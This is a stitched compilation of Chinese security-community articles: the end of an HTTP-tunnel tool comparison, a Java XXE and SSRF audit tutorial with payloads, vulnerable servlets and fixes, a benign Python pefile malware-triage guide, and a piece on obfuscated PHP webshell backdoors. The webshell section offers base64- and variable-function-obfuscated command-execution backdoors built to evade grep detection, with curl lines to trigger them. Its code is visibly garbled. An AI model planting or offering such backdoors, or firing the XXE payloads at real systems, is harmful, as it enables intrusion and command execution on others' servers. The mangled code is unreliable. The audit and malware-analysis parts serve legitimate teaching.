* 缺点：（太）容易掉线，连接不稳定，更不用说多客户端共用一个 Tunnel 服务端；对流量没有加密，很容易被 IDS／IPS／WAF 等检测到或者是泄漏敏感信息；没有配置文件；不能自定义 HTTP Tunnel 返回页面模版。
[HTTPTunnel](http://http-tunnel.sourceforge.net/)
* 优点：可以多个 Client 共用一个 Server；配置简单，可以通过 Web GUI 进行配置；不仅支持 HTTP Tunnel 还支持 SOCKS4（5）；流量加密和压缩，提高传输效率；干扰检测。
* 缺点：服务端只支持 Perl 、PHP，客户端只支持 Perl，条件比较苛刻；年代过于久远。
上述这两个项目均已经停止更新，Tunna 上次更新在两年前而 HTTPTunnel 上次更新是 2010 年。ABPTTS 项目在 Github
开源之后初步了解体验了一下，基本上述的内容基本都已经实现，下面也进行相对应的总结。
[ABPTTS](https://github.com/nccgroup/abptts)
* 优点：目前是最新的，特征暂时没有进入各大杀软的指纹库，并且会持续更新；配置简单，会自动根据当前项目生成配置文件；服务端支持或将会支持大部分主流语言的脚本文件和部署包（ASPX／JSP／WAR／PHP／RoR／Node.js／）；流量加密传输；多个 Client 可以共用一个 Server；可以自定义 HTTP Tunnel 的响应模版进行伪装，降低被识别的可能。
* 缺点：配置文件修改时比较麻烦；暂不支持 PHP；客户端 Python 脚本使用了第三方库 httplib2 不能直接运行；连接有时仍然会存在不稳定的情况。
虽然 ABPTTS 在使用中仍有不足之处，但是相比之下已经有超越上述两个项目的实力，另外看了一眼他的 TODO 还是很有意思的，想深入了解的话可以在
ABPTTS 的 Git [文档](https://github.com/nccgroup/ABPTTS/blob/master/ABPTTS-Manual.pdf)查看。
* * *
文中内容如有错误，敬请斧正，欢迎交流。
最后YSRC送个福利，关注“同程安全应急响应中心”公众号，点击底部菜单，ISC含餐两日通票，仅售396元~ | 社区文章 |
### 一、XXE
#### 0x01 XXE漏洞简介
XXE（XML外部实体注入，XML External Entity)
，在应用程序解析XML输入时，当允许引用外部实体时，可构造恶意内容，导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol
里的所有协议：http，https，file，ftp，mailto，jar，netdoc。一般利用file协议读取文件，利用http协议探测内网，没有回显时可组合利用file协议和ftp协议来读取文件。
#### 0x02 XXE相关基础概念
##### XML&DTD
XML （可扩展标记语言，EXtensible Markup Language），是一种标记语言，用来传输和存储数据，而非显示数据。
DTD（文档类型定义，Document Type Definition）的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
##### 实体ENTITY
XML中的实体类型，一般有下面几种：字符实体、命名实体（或内部实体）、外部普通实体、外部参数实体。除外部参数实体外，其它实体都以字符（&）开始，以字符（;）结束。
###### 1)字符实体
字符实体类似html中的实体编码，形如：a（十进制）或者a（十六进制）。
###### 2)命名实体（内部实体）
内部实体又称为命名实体。命名实体可以说成是变量声明，命名实体只能声明在DTD或者XML文件开始部分（<!DOCTYPE>语句中）。
命名实体（或内部实体）语法：
`<!ENTITY 实体名称 "实体的值">`
如：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>
定义一个实体名称x 值为First Param!
&x; 引用实体x
###### 3)外部普通实体
外部实体用于加载外部文件的内容。（显式XXE攻击主要利用外部普通实体）
外部普通实体语法：
`<!ENTITY 实体名称 SYSTEM "URI/URL">`
如：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
<!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>
###### 4)外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同，是以字符（%）开始，以字符（;）结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。（Blind
XXE攻击常利用参数实体进行数据回显）
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "Hello">
<!ENTITY % param2 " ">
<!ENTITY % param3 "World">
<!ENTITY dtd SYSTEM "combine.dtd">
%dtd;
]>
<root><foo>&content</foo></root>
combine.dtd中的内容为：
`<!ENTITY content "%param1;%param2;%param3;">`
上面combine.dtd中定义了一个基本实体，引用了3个参数实体：%param1;，%param2;，%param3;。
解析后<foo>...</foo>中的内容为Hello World。
#### 0x03 XXE审计函数
XML解析一般在导入配置、数据传输接口等场景可能会用到，涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体，从而判断是否存在XXE。部分XML解析接口如下：
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………
#### 0x04 常用测试POC
##### POC1-外部普通实体
当有回显时，利用ftp协议来读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>
##### POC2-外部参数实体
无回显时 利用http协议来发起请求
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
%lltest;
]>
#### 0X05 XXE漏洞代码示例
解析XML的方法越来越多，常见有四种，即：DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示XXE漏洞。
##### 1) DOM Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//DOM Read XML
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
String username = getValueByTagName(doc,"username");
String password = getValueByTagName(doc,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
##### 2) DOM4J Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//DOM4J Read XML
SAXReader saxReader = new SAXReader();
Document document = saxReader.read(request.getInputStream());
String username = getValueByTagName2(document,"username");
String password = getValueByTagName2(document,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (DocumentException e) {
System.out.println(e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
##### 3) JDOM2 Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//JDOM2 Read XML
SAXBuilder builder = new SAXBuilder();
Document document = builder.build(request.getInputStream());
String username = getValueByTagName3(document,"username");
String password = getValueByTagName3(document,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (JDOMException e) {
System.out.println(e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
##### 4) SAX Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//https://blog.csdn.net/u011024652/article/details/51516220
String result="";
try {
//SAX Read XML
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxparser = factory.newSAXParser();
SAXHandler handler = new SAXHandler();
saxparser.parse(request.getInputStream(), handler);
//为简单，没有提取子元素中的数据，只要调用parse()解析xml就已经触发xxe漏洞了
//没有回显 blind xxe
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
##### 0x06 XXE漏洞防御
使用XML解析器时需要设置其属性，禁用DTDs或者禁止使用外部实体。
以上例中DOM - DocumentBuilderFactory为例，防御代码如下:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
//如果不能禁用DTDs,可以使用下两项，必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //防止外部普通实体POC 攻击
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //防止外部参数实体POC攻击
其它XML解析器的漏洞防御可参考
<https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java>
上述XXE漏洞与防御完整示例代码 已上传Github 详见
<https://github.com/pplsec/JavaVul/tree/master/MyXXE>
### 二、SSRF
#### 0x01 SSRF漏洞简介
SSRF(Server-Side Request Forge,
服务端请求伪造)，攻击者让服务端发起指定的请求，SSRF攻击的目标一般是从外网无法访问的内网系统。Java中的SSRF支持sun.net.www.protocol
里的所有协议:http，https，file，ftp，mailto，jar，netdoc。相对于php，在java中SSRF的利用局限较大，一般利用http协议来探测端口，利用file协议读取任意文件。
#### 0x02 SSRF审计函数
SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。
代码审计时需要关注的发起HTTP请求的类及函数，部分如下：
HttpURLConnection. getInputStream
URLConnection. getInputStream
Request.Get. execute
Request.Post. execute
URL.openStream
ImageIO.read
OkHttpClient.newCall.execute
HttpClients. execute
HttpClient.execute
……
#### 0x03 SSRF漏洞代码示例
##### 1) HttpURLConnection
//HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();
##### 2) urlConnection
//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();
##### 3) ImageIO
// ImageIO ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞
##### 4) 其他
// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//发起请求
// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream(); //发起请求
// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute(); //发起请求
// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //发起请求
#### 0x04 SSRF漏洞防御
1）限制协议为HTTP、HTTPS协议。
2）禁止30x跳转。
3）设置URL白名单或者限制内网IP。
4）限制请求的端口为http常用的端口。
以上例中HttpURLConnection为例，防御代码如下:
String url = request.getParameter("url");
if (!SSRFHostCheck(url)) {
System.out.println("warning!!! illegal url:" + url);
return;
}
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
httpUrl.setInstanceFollowRedirects(false); //禁止30x跳转
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
……………………
public static Boolean SSRFHostCheck(String url) {
try {
URL u = new URL(url);
// 限制为http和https协议
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
String uProtocol = u.getProtocol();
System.out.println("illegal Protocol:" + uProtocol);
return false;
}
// 获取域名或IP，并转为小写
String host = u.getHost().toLowerCase();
String hostwhitelist = "192.168.199.209"; //白名单
if (host.equals(hostwhitelist)) {
System.out.println("ok_host:" + host);
return true;
} else {
System.out.println("illegal host:" + host);
return false;
}
} catch (Exception e) {
return false;
}
}
上述SSRF漏洞与防御完整示例代码 已上传Github 详见
<https://github.com/pplsec/JavaVul/tree/master/MySSRF>
#### 参考
<https://xz.aliyun.com/t/1633>
<http://rickgray.me/2015/06/08/xml-entity-attack-review/>
<https://github.com/c0ny1/xxe-lab/blob/master/java_xxe/src/me/gv7/xxe/LoginServlet.java>
<https://joychou.org/java/javassrf.html>
<https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java> | 社区文章 |
原文：<https://malwology.com/2018/08/24/python-for-malware-analysis-getting-started/>
## 介绍
提升你的 Python 编程技巧可能正在你的待做清单上——就行清理衣橱、粉刷墙壁、拧紧螺丝一样（你知道我在说什么）。
通常来说，脚本是跨大多数安全学科的一个实用的工具，编写脚本可以帮助你自动完成琐碎的任务，规模化分析大量数据，分担你的工作量。
尽管有许多的编程语言可供选择，但 Python 是其中最受欢迎的那一个，抛开别的原因不谈，它是跨平台的，并且相对容易阅读和编写。许多现有的开源安全工具都是用
Python 写的，所以学习 Python 可以帮助你更好的理解这些工具。
这篇文章介绍了用于 PE 文件分析的 Python
程序，在下文中，一个脚本可以帮助你快速解析单个文件并提取关键特征，或在多个文件之间规模化测量以完成更高优先级的任务。
请注意，这篇文章假定读者已经对Python和编程的概念有了一些基本的了解。
# 已有的工具
现在已经有许多使用 Python 编写的恶意软件分析工具可供使用。以下是一些我觉得对静态文件分析比较有帮助的工具：
* [pyew](https://github.com/joxeankoret/pyew)
* [AnalyzePE](https://github.com/hiddenillusion/AnalyzePE/blob/master/AnalyzePE.py)
* [pescanner](https://github.com/hiddenillusion/AnalyzePE/blob/master/pescanner.py)
* [peframe](https://github.com/guelfoweb/peframe)
* [pecheck](https://blog.didierstevens.com/2017/07/04/update-pecheck-py-version-0-7-0/) (在[之前的文章](https://malwology.com/2016/02/09/remnux-v6-for-malware-analysis-part-2-static-file-analysis/)有提到过)
这些工具可以产生有用的输出，是理解 Python
的绝佳选择。通过简单的浏览源代码和进行一些必要的搜索，你可以了解到作者是怎么编写这个程序的，和怎么修改程序以满足自己的目的。在你进行技术分析的过程中，你会积累经验，同时也会遇到工具不能满足需求的情况，这时候就需要自己去修改工具。不过放心，不需要从头开始编写代码，你可以通过
Python 库来提取数据，把输出修改成你想要的形式。
[pefile](https://github.com/erocarrera/pefile)是一个流行的、存在已久的、用于分析PE文件的的库。这个模块提供了PE
文件组织的便捷入口。另一个最近更新的更通用的且跨平台的一个库叫做 Library to Instrument Executable Formats
(LIEF)，它包含了一个用于 PE 文件分析的[Python 模块](https://github.com/lief-project/LIEF/releases/download/0.8.3/pylief-0.8.3.zip)(文档[在这](https://lief.quarkslab.com/doc/api/python/index.html))
这篇文章会用到Python2和 `pefile` 库来进行文件分析。请注意`pefile`是一个第三方模块，不是 Python
标准内置库。因此，你可能需要先安装它，尝试运行`pip install pefile`
# 探索 pefile
我们使用REMnux恶意软件分析 Linux 版（[下载地址](https://remnux.org/)）。通过 Python 交互 shell 探索
pefile 模块，并编写一些简单的代码。相较于直接编写一个脚本，交互 shell
在用于学习可用模块和简单调试的时候是一个更好的选择。只需要在终端敲下`Python`，然后你就会看见如下的提示：
下一步，引入pefile 以使用它的函数：
可以通过帮助信息来了解这个模块。键入`help(pefile)`。下面是一部分的输出：
除了模块的概述以外，还有类的概述。往下活动能看到每个类的信息，我们关注到 PE 类：
描述说我们可以用这个类来访问 PE文件的结构，我们需要用它来分析 Windows 文件。输出也描述了怎么创建一个 PE
类的实例。让我们来动手试一下。在这篇文章中，我们使用一个[emotet样本](https://www.virustotal.com/en/file/9c6dcc1772b076f930b2bae4b9ddccec81660a4f9a633cb129eb27dd19d5d81a/analysis/)。
可以回到帮助信息那看一下 PE 类有哪些方法和属性。或者输入`dir(pefile.PE)`来查看。部分输出如下：
可以看到有许多字，而且大多数不依赖于你之前对 PE
文件的分析。来看一些我们可能认识的专业术语。看到许多以`"get_"`开头的函数，它们可以帮助收集一些关于文件的静态信息。比如`get_impash()`返回一个IAT
的 MD5值。用我们的`file`实例试一下：
`get_imphash()`如期的提供了 IAT 的 MD5值
另一个有用的`"get_"`函数是`get_warnings`。当`pefile`解析一个 Windows
可执行文件时，可能会发生错误。`get_warnings`返回一个 PE
文件在被处理时产生的警告。安全性分析就是为了调查异常的，所以这个输出可以揭示用于进一步分析的着手点。比如说，这个函数的输出可以指示出文件是被混淆过的，即使打包器不能被普通的那种寻找打包器签名的工具识别出来（例如ExeInfo
或者 PEid）。在这种情况下，函数不会返回错误：
继续往下，提取恶意软件分析时常用的其他静态信息。比如说，使用`pefile`查看可执行文件导入了哪些 DLL 文件和函数。为了解决这个问题，再次使用内建的
`help()`进行一些老式的尝试和报错。此方法适用于任何文档详细的 Python 模块。
首先，查阅 PE 类以检查我们的选项。键入`help(pefile.PE)`，然后往下看。感兴趣的是这一部分：
可以看到许多`"DIRECTORY_ENTRY_"`属性的引用，这些属性指向密钥文件组件的位置。因为我们对导入表感兴趣，所以关注`DIRECTORY_ENTRY_IMPORT`，它被描述为ImportDescData
实例的一个列表。通过迭代这个列表看看他提供什么信息：
就像帮助信息里说明的一样，可以看到一个关于ImportDescData对象的列表。这些对象又代表什么呢？再次使用`help(pefile.ImportDescData)`：
如上所示，这个结构体包含了 DLL 的名字和一个已导入的符号表。这貌似就是我们想要的，再次迭代进行确认：
我们取得了不错的进展，但现在有一个新的结构体需要研究一下。键入`help(pefile.ImportData)`
目前为止，我们只关注导入的名字，所以名字属性应该有我们想要的信息。将它放入到代码中，使输出更具有可读性。
成功了！代码为我们提供了导入的DLL的名称及其对应的导入函数名称。可以把输出变得更好看点，但是我们需要的信息已经全都有了。
# 规模化
像之前在介绍里说的一样,使用脚本自动完成工作可以使你规模化分析大量数据。单文件分析固然重要，但是日重工作中的恶意软件分析可能需要你分析成百上千个文件，再挑选出一个文件仔细分析。在这些情境中，提取关键信息可以让你对样本进行分组和优先级排序，以使分析更高效。
另外再考虑文件的 imphash。在大量的文件中，通过
imphash可以更容易的鉴别出类似的函数或者用于产生二进制文件的公共打包器/打包工具。代码应该完成下列任务：
1. Create a list of all files in the directory (full path).
2. Open an XLSX file for writing (I often use Excel for easy viewing/sorting, but you can certainly output to CSV or, even better, write this information to a database).
3. Calculate and write each file’s sha256 hash and imphash to the XLSX file.
4. Autofilter the data.
下面是完成这些任务的一种方法。
#~/usr/bin/env python
import sys,os
import pefile
import hashlib
import xlsxwriter
if __name__ == "__main__":
#Identify specified folder with suspect files
dir_path = sys.argv[1]
#Create a list of files with full path
file_list = []
for folder, subfolder, files in os.walk(dir_path):
for f in files:
full_path = os.path.join(folder, f)
file_list.append(full_path)
#Open XLSX file for writing
file_name = "pefull_output.xlsx"
workbook = xlsxwriter.Workbook(file_name)
bold = workbook.add_format({'bold':True})
worksheet = workbook.add_worksheet()
#Write column headings
row = 0
worksheet.write('A1', 'SHA256', bold)
worksheet.write('B1', 'Imphash', bold)
row += 1
#Iterate through file_list to calculate imphash and sha256 file hash
for item in file_list:
#Get sha256
fh = open(item, "rb")
data = fh.read()
fh.close()
sha256 = hashlib.sha256(data).hexdigest()
#Get import table hash
pe = pefile.PE(item)
ihash = pe.get_imphash()
#Write hashes to doc
worksheet.write(row, 0, sha256)
worksheet.write(row, 1, ihash)
row += 1
#Autofilter the xlsx file for easy viewing/sorting
worksheet.autofilter(0, 0, row, 2)
workbook.close()
我把这个脚本命名为`pe_stats.py`，并在 “suspect_files” 目录中使用命令`python pe_stats.py
suspectfiles`来运行它。为了填充目标目录，我从 VT下载了100个高危文件（说明一下，我使用了基础 VTI 查询："type:peexe
positives:50+"）。在 Excel 中打开输出数据，部分输出如下。
看一眼前几行就可以发现 imphash 有一个特定的模式。下一步，可以研究一下最大的导入表哈希集群，以了解为什么文件具有相同的
imphash。你也可以再看一下`pefile`库的文档，研究一下表中其他的静态特性有什么用。有了这些的细节，会对样本分类和优先级分析有很大的帮助。我把这些作为任务留给你作为进一步的探究。
# 总结
这篇文章提供了使用 python 分析 PE 文件的一个方法。更重要的是，它介绍了如果使用 Python 的内置函数 `help`以及一些PE
文件的基础知识来系统化分析文件的特征，然后将其扩大到更大的文件集。
如果你想了解更多关于恶意软件分析的策略，你可以加入 [即将开始的 SANS FOR610
课程](https://www.sans.org/instructors/anuj-soni)以了解更多。 | 社区文章 |
# 前言
最近我研究了一种不寻常的小技巧，特地撰写这篇文章来与大家分享。这篇文章提供了许多后门代码中使用的`exit()`基础知识，开箱即用。
这篇文章的关注点在于全局变量GET，POST，REQUEST。
# 最常用的函数
(PHP 4, PHP 5, PHP 7)
shell_exec - Execute command via shell and return the complete output as a string
string shell_exec (string $ cmd)
EXEC-> php -r 'shell_exec ("ls -la");'
(PHP 4, PHP 5, PHP 7)
system - Executes an external program and shows the output
string system (string $ command [, int & $ return_var])
EXEC-> php -r 'system ("ls -la");'
(PHP 4, PHP 5, 7 PHP)
exec - Execute external program
string Exec (Command String $ [, $ & array output [int & return_var $]])
EXEC-> php -r 'exec ("ls -la", $ var); print_r ($ var);'
(PHP 4, PHP 5, PHP 7)
passthru - Execute an external program and show the raw output
void passthru (string $ command [, int & $ return_var])
EXEC-> php -r 'passthru ("ls -la", $ var); '
## 简单的应用
shell_exec:
if (isset ($ _ REQUEST ['cmd'])) {$ cmd = shell_exec ($ _ REQUEST ['cmd']);
print_r ($ cmd);}
system:
if (isset ($ _ REQUEST ['cmd'])) {system ($ _ REQUEST ['cmd']); }
exec:
if (isset ($ _ REQUEST ['cmd'])) {exec ($ _ REQUEST ['cmd']); }
passthru:
if (isset ($ _ REQUEST ['cmd'])) {passthru ($ _ REQUEST ['cmd']); }
我们可以使用相同的函数，但要精心设计，避免使用简单的“grep-E”来显示我们的访问权限。
# TIPS
在固定值中使用shellcode
可以不加节制地使用数组
本地函数的连接和变量的定义
base64_decode - encode (data)， bin2hex, error_reporting (0)
使用系统上已存在的请求(GET或POST)。
研究恶意属性在系统类中的创建，创建其函数。
处理全局变量`$ _SERVER`的值。
研究PHP格式CMS文件的感染方法。
# 示例
## 示例01
函数：
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[BASE64_DECODE](http://php.net/manual/en/function.base64-decode.php
"BASE64_DECODE")
3.[DEFINE](http://php.net/manual/en/function.define.php "DEFINE")
4.[SYSTEM](http://php.net/manual/en/function.system.php "SYSTEM")
5.[EXIT](http://php.net/manual/en/function.exit.php "EXIT")
**变量：**
c3lzdGVt = system, dW5hbWUgLWE7bHM7 = uname -a; ls; , aWQ = = id
**CODE:**
(error_reporting (0)) ($ __ = @ base64_decode ("c3lzdGVt")) $ __ ( base64_decode ("aWQ ="))
. define ("_", "dW5hbWUgLWE7bHM7"). __ ( base64_decode (_)). exit );
执行:
curl -v ‘http://localhost/shell.php'
## 示例02
函数：
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[BASE64_DECODE](http://php.net/manual/en/function.base64-decode.php
"BASE64_DECODE")
3.[ISSET](http://php.net/manual/en/function.isset.php "ISSET")
4.[PRINT](http://php.net/manual/en/function.print.php "PRINT")
5.[SYSTEM](http://php.net/manual/en/function.system.php "SYSTEM")
6.[EXIT](http://php.net/manual/en/function.exit.php "EXIT")
**变量：**
c3lzdGVt = system
**CODE:**
(error_reporting (0) (= @ $ __. base64_decode ( "c3lzdGVt"))
. print ($ __ ( Isset ($ _REQUEST [0]) REQUEST $ _ [0] NULL))?. EXIT );
执行：
curl -v ‘http://localhost/shell.php?0=id'
## 示例03
函数：
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[BASE64_DECODE](http://php.net/manual/en/function.base64-decode.php
"BASE64_DECODE")
3.[CREATE_FUNCTION](http://php.net/manual/en/function.create-function.php
"CREATE_FUNCTION") — 创建匿名函数(lambda样式)。
4.[SHELL_EXEC](http://php.net/manual/en/function.shell-exec.php "SHELL_EXEC")
5.[EXIT](http://php.net/manual/en/function.exit.php "EXIT")
**变量：**
ZWNobyhzaGVsbF9leGVjKCRfKSk7 = echo (shell_exec ($ _));
**CODE:**
( Error_reporting (0)) ($ _ = $ _ REQUEST [0]).
($ __ = @. Create_function ( '$ _' base64_decode ( "ZWNobyhzaGVsbF9leGVjKCRfKSk7"))) ($ __ ($ _) exit..);
执行：
curl -v ‘http://localhost/shell.php?0=id'
## 示例04
函数：
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[VARIABLE FUNCTIONS](http://php.net/manual/en/functions.variable-functions.php "VARIABLE FUNCTIONS")
3.[EXIT](http://php.net/manual/en/function.exit.php "EXIT")
**变量：**
$ _GET [1] = Function name, $ _GET [2] = command that will execute
**CODE:**
( Error_reporting (0) (= @ $ _ $ _ GET [1]) (.. $ _ ($ _GET [2])). EXIT );
执行：
curl -v ‘http://localhost/shell.php?1=system&2=id;uname'
## 示例05
函数：
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[EXTRACT](http://php.net/manual/en/function.extract.php "EXTRACT")
3.[GET_DEFINED_VARS](http://php.net/manual/en/function.get-defined-vars.php
"GET_DEFINED_VARS")
4.[VARIABLE FUNCTIONS](http://php.net/manual/en/functions.variable-functions.php "VARIABLE FUNCTIONS")
5.[DEFINE](http://php.net/manual/en/function.define.php "DEFINE")
6.[EXIT](http://php.net/manual/en/function.exit.php "EXIT")
**变量:**
$ _REQUEST [1] = Function name, $ _REQUEST [2] = command that will execute
**CODE:**
( error_reporting (0)). ( extract ($ _REQUEST, EXTR_PREFIX_ALL))
($ _ = @ get_defined_vars () ['_ REQUEST']) ( define ('_', $ _ [2])) (($ _ [1] (_));
## 示例06
函数:
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[EXPLODE](http://php.net/manual/en/function.explode.php "EXPLODE")
3.[BASE64_DECODE](http://php.net/manual/en/function.base64-decode.php
"BASE64_DECODE")
4.[VARIABLE FUNCTIONS](http://php.net/manual/en/functions.variable-functions.php "VARIABLE FUNCTIONS")
5.[EXIT](http://php.net/manual/en/function.exit.php "EXIT")
**变量：**
SFRUUF9VU0VSX0FHRU5U = HTTP_USER_AGENT
**CODE:**
( error_reporting (0)). ($ _ = @ explode (',', $ _ SERVER [ base64_decode ('SFRUUF9VU0VSX0FHRU5U')]))
($ _ [0] ("{$ _ [1]")). exit ;
## 示例07
函数：
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[GET_DEFINED_VARS](http://php.net/manual/en/function.get-defined-vars.php
"GET_DEFINED_VARS")
3.[VARIABLE FUNCTIONS](http://php.net/manual/en/functions.variable-functions.php "VARIABLE FUNCTIONS")
4.[VARIABLE SHELLCODE](https://pt.wikipedia.org/wiki/Shellcode "VARIABLE
SHELLCODE")
5.[SYSTEM](http://php.net/manual/en/function.system.php "SYSTEM")
6.[EXIT](http://php.net/manual/en/function.exit.php "EXIT")
**变量：**
\x30=0, \x73=s, \x79=y, \x73=s, \x74=t, \x65=e, \x6D=m
**CODE:**
( error_reporting (0)). ($ _ [0] [] = @ $ _ GET ["\ x30"])
($ _ [1] [] = "\ x73") ($ _ [1] [] = "\ x79").
($ _ [1] [] = "\ x6D") ($ _ [1] [] = "\ x65").($ ___. = $ __ [0])
($ __ = @ get_defined_vars () ['_'] [1])
($ ___. = $ __ [1]) ($ ___. = $ __ [2]) ($ ___. = $ __ [3])
. ($ = ___ __ $ [4].) ($ = $ __ ___ [5].) (($ ___ ( "{$ _ [0] [0]}"))... EXIT );
Execution: curl -v ‘http://localhost/shell.php?0=id;uname%20-a'
## 示例08
函数：
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[STR_REPLACE](http://php.net/manual/en/function.str-replace.php
"STR_REPLACE")
3.[VARIABLE FUNCTIONS](http://php.net/manual/en/functions.variable-functions.php "VARIABLE FUNCTIONS")
**Variables:**
$ _REQUEST [0] = Command that will execute
**CODE:**
( error_reporting (0)). ( str_replace ('$', '@', '#')
, 's $ ## and @ # $ @ # $ @ # $ @ s $ # $ @ # $ ($ _ {$ _ REQUEST [0]}));
执行：
curl -v ‘http://localhost/shell.php?0=id
## 示例09
函数:
1.[ERROR_REPORTING](https://secure.php.net/manual/en/function.error-reporting.php "ERROR_REPORTING")
2.[STR_REPLACE](http://php.net/manual/en/function.str-replace.php
"STR_REPLACE")
3.[VARIABLE FUNCTIONS](http://php.net/manual/en/functions.variable-functions.php "VARIABLE FUNCTIONS")
